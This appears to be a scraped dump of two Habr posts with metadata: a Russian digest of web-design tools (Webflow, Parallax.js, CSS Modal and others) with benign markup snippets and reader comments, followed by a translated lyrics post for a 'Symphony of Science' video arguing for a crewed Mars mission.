Доброго времени суток, уважаемые хабравчане. За последнее время я увидел несколько интересных и полезных инструментов/библиотек/событий, которыми хочу поделиться с Хабром. #### Webflow С помощью данного сервиса вы сможете сверстать кроссбраузерный отзывчивый макет за 55 минут. Очень красивый и удобный интерфейс. Идеальное решение для веб-дизайнеров, 26 000 из которых уже используют Webflow. Для создания двух проектов сервис бесплатный, а в дальнейшей перспективе вас ждут вполне демократичные цены. Инструмент реально «крутой». Если Вам GUI для верстки не комильфо сам по себе ~~как для меня~~ , все равно рекомендую зарегистрироваться и экспортировать парочку responsive макетов. А еще есть простой генератор отзывчивого лэйаута и Responsive Patterns. #### Parallax.js Функциональный и простой инструмент для создания параллакс эффекта. Для всех элементов на которых будет применяться эффект указываем класс `layer` и устанавливаем значение скорости движения в аттрибуте `data-depth`. В библиотеке есть ряд параметров: [code] <ul id="scene" data-calibrate-x="false" // Отключает калибровку по горизонтали data-calibrate-y="true" data-invert-x="false" data-invert-y="true" // Устанавливает инверсию по вертикали data-limit-x="false" data-limit-y="10" // Устанавливает ограничение в 10 циклов для движения data-scalar-x="2" data-scalar-y="8" // Устанавливаем чувствительность движения data-friction-x="0.2" data-friction-y="0.8"> // Как я поннимаю это хаотичность движения элементов <li class="layer" data-depth="0.00"><img src=""></li> <li class="layer" data-depth="0.20"><img src=""></li> <li class="layer" data-depth="0.40"><img src=""></li> <li class="layer" data-depth="0.60"><img src=""></li> <li class="layer" data-depth="0.80"><img src=""></li> <li class="layer" data-depth="1.00"><img src=""></li> </ul> [/code] После чего передаем родительский элемент в Parallax конструктор: [code] var scene = document.getElementById('scene'); var parallax = new Parallax(scene); [/code] #### Intention.js Небольшая, но полезная библиотека, которая упрощает процесс разработки именно адаптивного, а не отзывчивого дизайна. Все очень просто. Принцип работы наглядно иллюстрируется на следующем изображении. ##### Device.js Cкрипт по принципу Modernizr присваивает тегу HTML классы `ios/android/windows/blackberry phone/tablet landscape/portrait`, тем самым избавляет Вас от необходимости прописывать основные разрешения устройств в media queries. Говоря о «кроссдевайсности» хочется также упомянуть про Risizer — Bookmark для для тестирования отзывчивого дизайна. Все мы знаем про множество подобных сервисов, но мне кажется, этот способ самый удобный. #### GistBox GistBox синхронизируется с вашим GitHub профилем и в нужном виде отображает Gist лист. Все ваши сниппеты отсортированы по меткам и всегда под рукой. Доступен как расширение для Chrome. #### CSS Modal Начну с того, что проект создан одним из членов команды Boilerplate. CSS Modal — самый простой способ добавить в своей проект адаптивное модальное окно: [code] <section class="semantic-content" id="modal-text" tabindex="-1" role="dialog" aria-labelledby="modal-label" aria-hidden="true"> <div class="modal-inner"> <header id="modal-label"><!-- Header --></header> <div class="modal-content"><!-- The modals content --></div> <footer><!-- Footer --></footer> </div> <a href="#!" class="modal-close" title="Close this modal" data-close="Close" data-dismiss="modal">×</a> </section> [/code] И нужно всего лишь подключить сам скрипт перед закрывающим тегом body, после чего данная разметка станет модальным окном. #### Dotdotdot.js, Uikit, HTML2PDF Недавно мне понадобилось сокращать абзацы многоточием. Но стандартный `text-overflow` работает только на одной строке с `no-wrap`. И на просторах интернета мне повстречался замечательный скрипт (dotdotdot.js), который отлично решает эту задачу. Uikit — плюс один к существующим веб фреймворкам со своими особенностями. HTML2PDF. Сервис написан на основе Phantom.js. Возможно, пригодится для оформления портфолио в .pdf. Большое спасибо всем за внимание. Следующая подборка (Выпуск 3) Предыдущая подборка (Выпуск 1)
<div xmlns="http://www.w3.org/1999/xhtml">Доброго времени суток, уважаемые хабравчане. За последнее время я увидел несколько интересных и полезных инструментов/библиотек/событий, которыми хочу поделиться с Хабром. <br/> <br/> <h4><a href="https://webflow.com/">Webflow</a></h4><br/> <a href="https://webflow.com/"><img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/e4d/464/08b/e4d46408bc972354c5c09ee16bd95b31.png" data-src="https://habrastorage.org/getpro/habr/post_images/e4d/464/08b/e4d46408bc972354c5c09ee16bd95b31.png"/></a><br/> С помощью данного сервиса вы сможете <a href="http://vimeo.com/71633297">сверстать кроссбраузерный отзывчивый макет за 55 минут.</a> Очень красивый и удобный интерфейс. Идеальное решение для веб-дизайнеров, 26 000 из которых уже используют Webflow. Для создания двух проектов сервис бесплатный, а в дальнейшей перспективе вас ждут вполне демократичные цены. Инструмент реально «крутой». <br/> <br/> Если Вам GUI для верстки не комильфо сам по себе <s>как для меня</s>, все равно рекомендую зарегистрироваться и экспортировать парочку responsive макетов. А еще есть <a href="http://www.responsivewebcss.com/">простой генератор отзывчивого лэйаута</a> и <a href="http://bradfrost.github.io/this-is-responsive/patterns.html">Responsive Patterns</a>.<br/> <br/> <h4><a href="https://github.com/wagerfield/parallax">Parallax.js</a></h4><br/> Функциональный и простой инструмент для создания параллакс эффекта. <br/> <br/> <a name="habracut"></a><br/> Для всех элементов на которых будет применяться эффект указываем класс <code>layer</code> и устанавливаем значение скорости движения в аттрибуте <code>data-depth</code>. В библиотеке есть ряд параметров:<br/> <pre><code class="html">&lt;ul id="scene" data-calibrate-x="false" // Отключает калибровку по горизонтали data-calibrate-y="true" data-invert-x="false" data-invert-y="true" // Устанавливает инверсию по вертикали data-limit-x="false" data-limit-y="10" // Устанавливает ограничение в 10 циклов для движения data-scalar-x="2" data-scalar-y="8" // Устанавливаем чувствительность движения data-friction-x="0.2" data-friction-y="0.8"> // Как я поннимаю это хаотичность движения элементов &lt;li class="layer" data-depth="0.00">&lt;img src="">&lt;/li> &lt;li class="layer" data-depth="0.20">&lt;img src="">&lt;/li> &lt;li class="layer" data-depth="0.40">&lt;img src="">&lt;/li> &lt;li class="layer" data-depth="0.60">&lt;img src="">&lt;/li> &lt;li class="layer" data-depth="0.80">&lt;img src="">&lt;/li> &lt;li class="layer" data-depth="1.00">&lt;img src="">&lt;/li> &lt;/ul> </code></pre><br/> После чего передаем родительский элемент в Parallax конструктор: <br/> <pre><code class="javascript">var scene = document.getElementById('scene'); var parallax = new Parallax(scene); </code></pre><br/> <br/> <h4><a href="https://github.com/wsjdesign/intentionjs">Intention.js</a></h4><br/> Небольшая, но полезная библиотека, которая упрощает процесс разработки именно <a href="http://habrahabr.ru/post/148224/">адаптивного, а не отзывчивого</a> дизайна. Все очень просто. Принцип работы наглядно иллюстрируется на следующем изображении. <br/> <a href="https://github.com/wsjdesign/intentionjs"><img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/9a6/5f6/071/9a65f6071132757e7a337fc5cce0f268.png" data-src="https://habrastorage.org/getpro/habr/post_images/9a6/5f6/071/9a65f6071132757e7a337fc5cce0f268.png"/></a><br/> <br/> <h5><a href="https://github.com/matthewhudson/device.js">Device.js</a></h5><br/> Cкрипт по принципу Modernizr присваивает тегу HTML классы <code>ios/android/windows/blackberry phone/tablet landscape/portrait</code>, тем самым избавляет Вас от необходимости прописывать основные разрешения устройств в media queries. <br/> <br/> Говоря о «кроссдевайсности» хочется также упомянуть про <a href="http://lab.maltewassermann.com/viewport-resizer/">Risizer</a> — Bookmark для для тестирования отзывчивого дизайна. Все мы знаем про множество подобных сервисов, но мне кажется, этот способ самый удобный. <br/> <br/> <h4><a href="http://www.gistboxapp.com/">GistBox</a></h4><br/> <a href="http://www.gistboxapp.com/"><img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/26c/118/b10/26c118b10204a89965cbc63b8fe64820.png" data-src="https://habrastorage.org/getpro/habr/post_images/26c/118/b10/26c118b10204a89965cbc63b8fe64820.png"/></a><br/> GistBox синхронизируется с вашим GitHub профилем и в нужном виде отображает Gist лист. Все ваши сниппеты отсортированы по меткам и всегда под рукой. Доступен как расширение для Chrome. <br/> <br/> <h4><a href="https://github.com/drublic/css-modal">CSS Modal</a></h4><br/> Начну с того, что проект создан одним из членов команды Boilerplate. CSS Modal — самый простой способ добавить в своей проект адаптивное модальное окно: <br/> <br/> <pre><code class="html"> &lt;section class="semantic-content" id="modal-text" tabindex="-1" role="dialog" aria-labelledby="modal-label" aria-hidden="true"> &lt;div class="modal-inner"> &lt;header id="modal-label">&lt;!-- Header -->&lt;/header> &lt;div class="modal-content">&lt;!-- The modals content -->&lt;/div> &lt;footer>&lt;!-- Footer -->&lt;/footer> &lt;/div> &lt;a href="#!" class="modal-close" title="Close this modal" data-close="Close" data-dismiss="modal">×&lt;/a> &lt;/section> </code></pre><br/> <br/> И нужно всего лишь подключить сам скрипт перед закрывающим тегом <b>body</b>, после чего данная разметка станет модальным окном. <br/> <br/> <h4>Dotdotdot.js, Uikit, HTML2PDF</h4><br/> Недавно мне понадобилось сокращать абзацы многоточием. Но стандартный <code>text-overflow</code> работает только на одной строке с <code>no-wrap</code>. И на просторах интернета мне повстречался <a href="http://dotdotdot.frebsite.nl/">замечательный скрипт (dotdotdot.js)</a>, который отлично решает эту задачу. <br/> <br/> <a href="https://github.com/uikit/uikit">Uikit</a> — плюс один к существующим веб фреймворкам со своими особенностями. <br/> <br/> <a href="https://github.com/Muscula/html2pdf.it">HTML2PDF</a>. Сервис написан на основе Phantom.js. Возможно, пригодится для оформления портфолио в .pdf.<br/> <br/> Большое спасибо всем за внимание. <br/> <br/>                              <a href="http://habrahabr.ru/post/193716/"><b>Следующая подборка (Выпуск 3)</b></a>      <a href="http://habrahabr.ru/post/189994/"><b>Предыдущая подборка (Выпуск 1)</b></a><br/> <br/> </div>
Пестов Илья Сергеевич (ilusha_sergeevich)
null
null
Доброго времени суток, уважаемые хабравчане. За последнее время я увидел несколько интересных и полезных инструментов/библиотек/событий, которыми хочу поделиться с Хабром. <br/> <br/> <h4><a href="https://webflow.com/">Webflow</a></h4><br/> <a href="https://webflow.com/"><img src="https://habrastorage.org/getpro/habr/post_images/e4d/464/08b/e4d46408bc972354c5c09ee16bd95b31.png"/></a><br/> С помощью данного сервиса вы сможете <a href="http://vimeo.com/71633297">сверстать кроссбраузерный отзывчивый макет за 55 минут.</a> Очень красивый и удобный интерфейс. Идеальное решение для веб-дизайнеров, 26 000 из которых уже используют Webflow. Для создания двух проектов сервис бесплатный, а в дальнейшей перспективе вас ждут вполне демократичные цены. Инструмент реально «крутой». <br/> <br/> Если Вам GUI для верстки не комильфо сам по себе <s>как для меня</s>, все равно рекомендую зарегистрироваться и экспортировать парочку responsive макетов. А еще есть <a href="http://www.responsivewebcss.com/">простой генератор отзывчивого лэйаута</a> и <a href="http://bradfrost.github.io/this-is-responsive/patterns.html">Responsive Patterns</a>.<br/> <br/> <h4><a href="https://github.com/wagerfield/parallax">Parallax.js</a></h4><br/> Функциональный и простой инструмент для создания параллакс эффекта. <br/> <br/>
Доброго времени суток, уважаемые хабравчане. За последнее время я увидел несколько интересных и полезных инструментов/библиотек/событий, которыми хочу поделиться с Хабром. #### Webflow С помощью данного сервиса вы сможете сверстать кроссбраузерный отзывчивый макет за 55 минут. Очень красивый и удобный интерфейс. Идеальное решение для веб-дизайнеров, 26 000 из которых уже используют Webflow. Для создания двух проектов сервис бесплатный, а в дальнейшей перспективе вас ждут вполне демократичные цены. Инструмент реально «крутой». Если Вам GUI для верстки не комильфо сам по себе ~~как для меня~~ , все равно рекомендую зарегистрироваться и экспортировать парочку responsive макетов. А еще есть простой генератор отзывчивого лэйаута и Responsive Patterns. #### Parallax.js Функциональный и простой инструмент для создания параллакс эффекта.
article
1,377,921,223
{ "commentsCount": 27, "favoritesCount": 1431, "readingCount": 82204, "score": 104, "votesCount": 124, "votesCountPlus": 114, "votesCountMinus": 10 }
[]
[ "webdev", "javascript", "html5" ]
[ "develop" ]
[ "интересности&amp;полезности", "html", "js", "веб-дизайн", "webflow" ]
3
null
null
{ "id": [ 6671806, 6671830, 6671836, 6671858, 6671870, 6671988, 6671994, 6672012, 6672086, 6672186, 6672216, 6672290, 6672292, 6672304, 6672308, 6672310, 6672418, 6672630, 6672946, 6673040, 6673440, 6673524, 6673584, 6673596, 6673598, 6673758, 6682466 ], "parent_id": [ null, 6671806, null, 6671830, null, 6671870, null, 6671858, null, null, 6671870, 6672216, 6671870, null, 6672216, 6672304, 6671806, 6672310, 6671830, null, 6672216, 6673440, 6672216, 6671988, 6671870, 6671858, 6673584 ], "level": [ 0, 1, 0, 2, 0, 1, 0, 3, 0, 0, 1, 2, 1, 0, 2, 1, 1, 2, 2, 0, 2, 3, 2, 2, 1, 3, 3 ], "time_published": [ 1377926797, 1377929055, 1377929254, 1377930081, 1377930524, 1377935022, 1377935251, 1377935981, 1377938263, 1377942342, 1377943749, 1377946201, 1377946281, 1377946539, 1377946746, 1377946864, 1377950680, 1377958753, 1377967804, 1377971270, 1377982344, 1377985679, 1377989732, 1377990613, 1377990825, 1378017908, 1378215929 ], "score": [ -19, 7, -6, 1, 0, 15, 0, 0, 1, 2, 1, 0, 1, 3, 2, -13, 1, 6, 0, 2, 0, 1, 0, 1, 0, 0, 0 ], "votes": [ 21, 9, 8, 1, 0, 15, 0, 0, 1, 2, 3, 2, 3, 7, 2, 13, 1, 8, 0, 2, 0, 1, 0, 1, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я бы на вашем месте еще бы подкопил подобных сервисов, и уже потом написал бы пост о них(а вот то, что дали небольшой хинт к некоторым, это круто). А так, конечно, и на этом спасибо.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Зачем их много-то? Вы в состоянии освоить за день десяток таких инструментов, если еще и работать надо? Ну тады респект вам, конечно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Очень советую добавить туда koding.com :)<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">На самом деле я не пишу для того чтобы написать. Все что тут — было у меня в закладках. Что-то похожее я отсортировал и выбрал нужное. Но я не могу судить строго по себе и выложил то, что считаю интересным и полезным за последнее время. Будет здорово, если буду полезным.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Дабы не искать остальным: <a href=\"http://wagerfield.github.com/parallax/\">wagerfield.github.com/parallax/</a> ;-)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">До чего полезные вещи! Спасибо.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вот ещё: froont.com и macaw.co</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо за GistBox. Еще есть аналог Webflow — <a href=\"http://froont.com/\">froont.com/</a> тоже очень интересный</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Uikit — это что-то. Затеял переход с jQuery UI на Twitter Bootstrap, но с самого начала смущало отсутствие пространства имен и местами слишком сложная верстка + отсутствие обработчиков некоторых вполне элементарных событий, а это по-моему как раз то, что нужно. Придется то, что сейчас являет полу рабочую смесь jQuery UI и Twitter Bootstrap переводить на этот фреймворк, уж очень хорошее производит впечатление.<br/>\r\nСпасибо вам за упоминание!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">но у меня жёстко тормозит =( Intel Atom N450 1.66GHz, 2GB RAM. Chrome Версия 22.0.1229.94. Ubuntu 13.04. Задержка отрисовки кадров примерно секунда!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да, у меня та же проблема, хоть и железо немного мощнее, стоит Ubuntu 13.04, Chromium 28.0.1500.71</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">И жутко лагающее</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Как то странно верстать кроссбраузерный макет, но делать это надо только в определённом браузере.<br/>\r\nFirefox 23.0.1 чем не современен?<br/>\r\n<br/>\r\n<img src=\"https://habrastorage.org/r/w1560/storage3/7a2/78c/81d/7a278c81d16529824c601b366e13345f.png\" data-src=\"https://habrastorage.org/storage3/7a2/78c/81d/7a278c81d16529824c601b366e13345f.png\"/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не расстраивайтесь, на моем i5-3 тоже фпс меньше 10</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Тебе не все ли равно? Я вот сайт группе заделал.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Если вам не хватает инфы в пределах одного поста, добро пожаловать в наши еженедельные <a href=\"http://habrahabr.ru/company/zfort/blog/191264/\">дайджесты</a> :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Молодец.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Чтобы положить в «кэш» в голове и, если вдруг понадобится сделать, допустим, параллакс-эффект, вспомнить: «о! я же видел клевый инструмент для параллаксов на хабре!».</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Огромное человеческое Спасибо за Webflow!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У меня в FF тоже жутко тормозит и это странно, потому что в хроме и ИЕ10 летает. Core-i7, 16gb RAM, Win7, FF 23.0.1, chrome 29.0.1547.57 m</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">я удивлен как на вашем железе вобще что-то может тормозить)))</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Плагин позиционируется как вариант для мобильных устройств: открывала с планшета (Android 4.2.2, 1.6GHz Quad-core, 2Gb RAM ) и телефона (Android 4.1 — Cyanogenmod, 600 MHz, 256 mb RAM) — лагает, что характерно, в обоих случаях. Обещанного смещения по гироскопу не наблюдается ни там, ни там…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Лига лени благодарит тебя ;)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Очень круто выглядит с планшета. Повилял планшетиком и такой «Уиии на волнах поплавал»:)<br/>\r\n<br/>\r\nИ вообще никапельки не лагает, разве что первую секунду пока все загружалось.<br/>\r\nP.S. Смотрел с айпада мини</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Подборка хорошая и как раз подходящего размера для одного раза.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А у меня на телефоне (Android 4.1.2, 1400 МГц, 4х-ядерный, 1Gb RAM) нормально, все четко и гироскоп работает, круто! :) </div>" ], "message_markdown": [ "Я бы на вашем месте еще бы подкопил подобных сервисов, и уже потом написал бы пост о них(а вот то, что дали небольшой хинт к некоторым, это круто). А так, конечно, и на этом спасибо.", "Зачем их много-то? Вы в состоянии освоить за день десяток таких инструментов, если еще и работать надо? Ну тады респект вам, конечно.", "Очень советую добавить туда koding.com :)", "На самом деле я не пишу для того чтобы написать. Все что тут — было у меня в закладках. Что-то похожее я отсортировал и выбрал нужное. Но я не могу судить строго по себе и выложил то, что считаю интересным и полезным за последнее время. Будет здорово, если буду полезным.", "UFO just landed and posted this here", "Дабы не искать остальным: wagerfield.github.com/parallax/ ;-)", "До чего полезные вещи! Спасибо.", "Вот ещё: froont.com и macaw.co", "Спасибо за GistBox. Еще есть аналог Webflow — froont.com/ тоже очень интересный", "Uikit — это что-то. Затеял переход с jQuery UI на Twitter Bootstrap, но с самого начала смущало отсутствие пространства имен и местами слишком сложная верстка + отсутствие обработчиков некоторых вполне элементарных событий, а это по-моему как раз то, что нужно. Придется то, что сейчас являет полу рабочую смесь jQuery UI и Twitter Bootstrap переводить на этот фреймворк, уж очень хорошее производит впечатление.\nСпасибо вам за упоминание!", "но у меня жёстко тормозит =( Intel Atom N450 1.66GHz, 2GB RAM. Chrome Версия 22.0.1229.94. Ubuntu 13.04. Задержка отрисовки кадров примерно секунда!", "Да, у меня та же проблема, хоть и железо немного мощнее, стоит Ubuntu 13.04, Chromium 28.0.1500.71", "И жутко лагающее", "Как то странно верстать кроссбраузерный макет, но делать это надо только в определённом браузере.\nFirefox 23.0.1 чем не современен?", "Не расстраивайтесь, на моем i5-3 тоже фпс меньше 10", "Тебе не все ли равно? Я вот сайт группе заделал.", "Если вам не хватает инфы в пределах одного поста, добро пожаловать в наши еженедельные дайджесты :)", "Молодец.", "Чтобы положить в «кэш» в голове и, если вдруг понадобится сделать, допустим, параллакс-эффект, вспомнить: «о! я же видел клевый инструмент для параллаксов на хабре!».", "Огромное человеческое Спасибо за Webflow!", "У меня в FF тоже жутко тормозит и это странно, потому что в хроме и ИЕ10 летает. Core-i7, 16gb RAM, Win7, FF 23.0.1, chrome 29.0.1547.57 m", "я удивлен как на вашем железе вобще что-то может тормозить)))", "Плагин позиционируется как вариант для мобильных устройств: открывала с планшета (Android 4.2.2, 1.6GHz Quad-core, 2Gb RAM ) и телефона (Android 4.1 — Cyanogenmod, 600 MHz, 256 mb RAM) — лагает, что характерно, в обоих случаях. Обещанного смещения по гироскопу не наблюдается ни там, ни там...", "Лига лени благодарит тебя ;)", "Очень круто выглядит с планшета. Повилял планшетиком и такой «Уиии на волнах поплавал»:)\nИ вообще никапельки не лагает, разве что первую секунду пока все загружалось.\nP.S. Смотрел с айпада мини", "Подборка хорошая и как раз подходящего размера для одного раза.", "А у меня на телефоне (Android 4.1.2, 1400 МГц, 4х-ядерный, 1Gb RAM) нормально, все четко и гироскоп работает, круто! :)" ], "author": [ "Сережа Абдулов (TideSofDarK)", "paratrooper5730 (paratrooper5730)", "Alexey (scipe)", "Пестов Илья Сергеевич (ilusha_sergeevich)", "{}", "Илья Бахаревич (roskov)", "Ишалин Ильдар (BILBO)", "danpetruk", "Станислав (d4rkr00t)", "Назар Мокринский (nazarpc)", "Артем Комаров (m0sk1t)", "Богдан Остапчук (Bogdan92)", "Dimcore (Dimcore)", "Роман (Solovej)", "johnnythekid", "Ivan Fokeev (vaboretti)", "Александр Смолянинов (derSmoll)", "Валерий Харшац (Valery4)", "Сергей (QZip)", "Павел Ткачев (phoenixweiss)", "Роман Бобров (resurection)", "Артем Комаров (m0sk1t)", "Nata (natkitten)", "Андрей Емельяненко (YourWest)", "Андрей Емельяненко (YourWest)", "StreetStrider", "radli" ], "children": [ [ 6671830, 6672418 ], [ 6671858, 6672946 ], [], [ 6672012, 6673758 ], [ 6671988, 6672216, 6672292, 6673598 ], [ 6673596 ], [], [], [], [], [ 6672290, 6672308, 6673440, 6673584 ], [], [], [ 6672310 ], [], [ 6672630 ], [], [], [], [], [ 6673524 ], [], [ 6682466 ], [], [], [], [] ] }
154,637
ru
https://habr.com/ru/post/154637/
«Аргументы за Марс» — музыкальный видеоролик из серии Симфония науки
Ниже представленный ролик — шестой в серии музыкальных роликов «Симфония науки», которая направлена на популяризацию перспективных научных исследований. Он посвящен Марсианскому сообществу Роберта Зубрина — американского инженера, энтузиаста освоения Марса, посвятившего свою жизнь тому, чтобы пилотируемый полет на Марс стал реальностью. В этом ролике Роберт Зубри и его коллеги аргументируют, почему пилотируемый полет на Марс необходим, и почему именно сейчас. Перевод под катом [Роберт Зубрин] Марс является следующим логическим шагом в нашей космической программе. Вызов глядит нам в глаза последние 30 лет. Там есть вода, углерод, 24-часовой день, геотермальная энергия. Марс это место, где мы можем обосноваться. [Карл Саган] Там гигантская трещина на его поверхности, длиной 5000 километров. Там вулкан, столь же великий, как Аризона. [Зубрин] Так что выбор в жизни один — или рост, или распад. Расти или умереть. Я думаю, мы должны расти. [Саган] Марс мир чудес. [Брайн Кокс] Он имеет каньоны, долины, реки и гигантские ледниковые покровы. [Саган] Марс мир чудес. [Зубрин] Люди не должны попасть на Марс через 50 лет, люди должно попасть на Марс через 10 лет. Мы либо соберем мужество, чтобы идти, либо рискуем погрязнуть в застое и гниении. Нас ждут космическое излучение, низкая гравитация, бури марсианской пыли, возможны заражение внеземными микроорганизмам. Но это те драконы, которых мы можем взять на себя. [Саган] Уже в наше время мы просеем пески Марса, установим здесь наше присутствие, и исполним мечту века. [Кокс] Марсоходы действительно захватили наше воображение. Но они действительно устарели как исследователи. [Зубрин] Если вы выстроите добровольцев для первого экипажа на Марс, они бы протянулись от побережья до побережья (припев) [Кокс] Марс — это сухая и замороженная версия нашего дома, покрытая красной пылью и песком [Penelope Бостон] В свое время, в далеком прошлом, Марс был очень похож по своим условиям на раннюю Землю. [Зубрин] Всегда будут люди с новыми идеями, как люди должны жить вместе. [Кокс] Теперь у нас есть «глаза» и «уши» на поверхности. [Зубрин] То, что осталось с вами после того, как вы пошли, лучше, чем то, что вы оставили позади. Когда вы уйдете, останется то хорошее, что вы сами оставили. Вы должны верить в надежду, вы должны верить в будущее. И все больше и больше людей приходят к точке зрения, что позитивное будущее для человечества требует человеческой экспансии в космос. (припев) Мы на перепутье сегодня, мы либо наберемся храбрости, чтобы пойти, либо рискуем погрязнуть в застое и гниении.
<div xmlns="http://www.w3.org/1999/xhtml">Ниже представленный ролик — шестой в <a href="http://symphonyofscience.com/videos.html">серии музыкальных роликов «Симфония науки»</a>, которая направлена на популяризацию перспективных научных исследований.<br/> <br/> Он посвящен <a href="http://www.marssociety.org/portal">Марсианскому сообществу</a> <a href="http://ru.wikipedia.org/wiki/%D0%97%D1%83%D0%B1%D1%80%D0%B8%D0%BD,_%D0%A0%D0%BE%D0%B1%D0%B5%D1%80%D1%82">Роберта Зубрина</a> — американского инженера, энтузиаста освоения Марса, посвятившего свою жизнь тому, чтобы пилотируемый полет на Марс стал реальностью. В этом ролике Роберт Зубри и его коллеги аргументируют, почему пилотируемый полет на Марс необходим, и почему именно сейчас. <br/> <br/> <div class="tm-iframe_temp" data-src="https://www.youtube.com/embed/BZ5sWfhkpE0?feature=oembed" data-style="" id="" width="560"></div><br/> <br/> Перевод под катом<br/> <a name="habracut"></a><br/> [Роберт Зубрин] Марс является следующим логическим шагом в нашей космической программе. Вызов глядит нам в глаза последние 30 лет. Там есть вода, углерод, 24-часовой день, геотермальная энергия. Марс это место, где мы можем обосноваться.<br/> [Карл Саган] Там гигантская трещина на его поверхности, длиной 5000 километров. Там вулкан, столь же великий, как Аризона.<br/> [Зубрин] Так что выбор в жизни один — или рост, или распад. Расти или умереть. Я думаю, мы должны расти.<br/> [Саган] Марс мир чудес.<br/> [Брайн Кокс] Он имеет каньоны, долины, реки и гигантские ледниковые покровы.<br/> [Саган] Марс мир чудес.<br/> [Зубрин] Люди не должны попасть на Марс через 50 лет, люди должно попасть на Марс через 10 лет. Мы либо соберем мужество, чтобы идти, либо рискуем погрязнуть в застое и гниении. <br/> Нас ждут космическое излучение, низкая гравитация, бури марсианской пыли, возможны заражение внеземными микроорганизмам. Но это те драконы, которых мы можем взять на себя.<br/> [Саган] Уже в наше время мы просеем пески Марса, установим здесь наше присутствие, и исполним мечту века. <br/> [Кокс] Марсоходы действительно захватили наше воображение. Но они действительно устарели как исследователи. <br/> [Зубрин] Если вы выстроите добровольцев для первого экипажа на Марс, они бы протянулись от побережья до побережья (припев) <br/> [Кокс] Марс — это сухая и замороженная версия нашего дома, покрытая красной пылью и песком<br/> [Penelope Бостон] В свое время, в далеком прошлом, Марс был очень похож по своим условиям на раннюю Землю. <br/> [Зубрин] Всегда будут люди с новыми идеями, как люди должны жить вместе.<br/> [Кокс] Теперь у нас есть «глаза» и «уши» на поверхности.<br/> [Зубрин] То, что осталось с вами после того, как вы пошли, лучше, чем то, что вы оставили позади.<br/> Когда вы уйдете, останется то хорошее, что вы сами оставили. Вы должны верить в надежду, вы должны верить в будущее. И все больше и больше людей приходят к точке зрения, что позитивное будущее для человечества требует человеческой экспансии в космос. <br/> (припев) Мы на перепутье сегодня, мы либо наберемся храбрости, чтобы пойти, либо рискуем погрязнуть в застое и гниении.</div>
Cholgaa
Robert Zubrin, Carl Sagan, Brian Cox and Penelope Boston
http://symphonyofscience.com/videos.html
Ниже представленный ролик — шестой в <a href="http://symphonyofscience.com/videos.html">серии музыкальных роликов «Симфония науки»</a>, которая направлена на популяризацию перспективных научных исследований.<br/> <br/> Он посвящен <a href="http://www.marssociety.org/portal">Марсианскому сообществу</a> <a href="http://ru.wikipedia.org/wiki/%D0%97%D1%83%D0%B1%D1%80%D0%B8%D0%BD,_%D0%A0%D0%BE%D0%B1%D0%B5%D1%80%D1%82">Роберта Зубрина</a> — американского инженера, энтузиаста освоения Марса, посвятившего свою жизнь тому, чтобы пилотируемый полет на Марс стал реальностью. В этом ролике Роберт Зубри и его коллеги аргументируют, почему пилотируемый полет на Марс необходим, и почему именно сейчас. <br/> <br/> <iframe width="560" height="315" src="https://www.youtube.com/embed/BZ5sWfhkpE0?feature=oembed" frameborder="0" allowfullscreen></iframe><br/> <br/> Перевод под катом<br/>
Ниже представленный ролик — шестой в серии музыкальных роликов «Симфония науки», которая направлена на популяризацию перспективных научных исследований. Он посвящен Марсианскому сообществу Роберта Зубрина — американского инженера, энтузиаста освоения Марса, посвятившего свою жизнь тому, чтобы пилотируемый полет на Марс стал реальностью. В этом ролике Роберт Зубри и его коллеги аргументируют, почему пилотируемый полет на Марс необходим, и почему именно сейчас. Перевод под катом
article
1,350,072,945
{ "commentsCount": 34, "favoritesCount": 15, "readingCount": 5562, "score": 18, "votesCount": 32, "votesCountPlus": 25, "votesCountMinus": 7 }
[ "translation" ]
[ "popular_science", "space" ]
[ "popsci" ]
[ "Марс", "Роберт Зубрин", "популяризация науки", "Симфония науки" ]
2
null
null
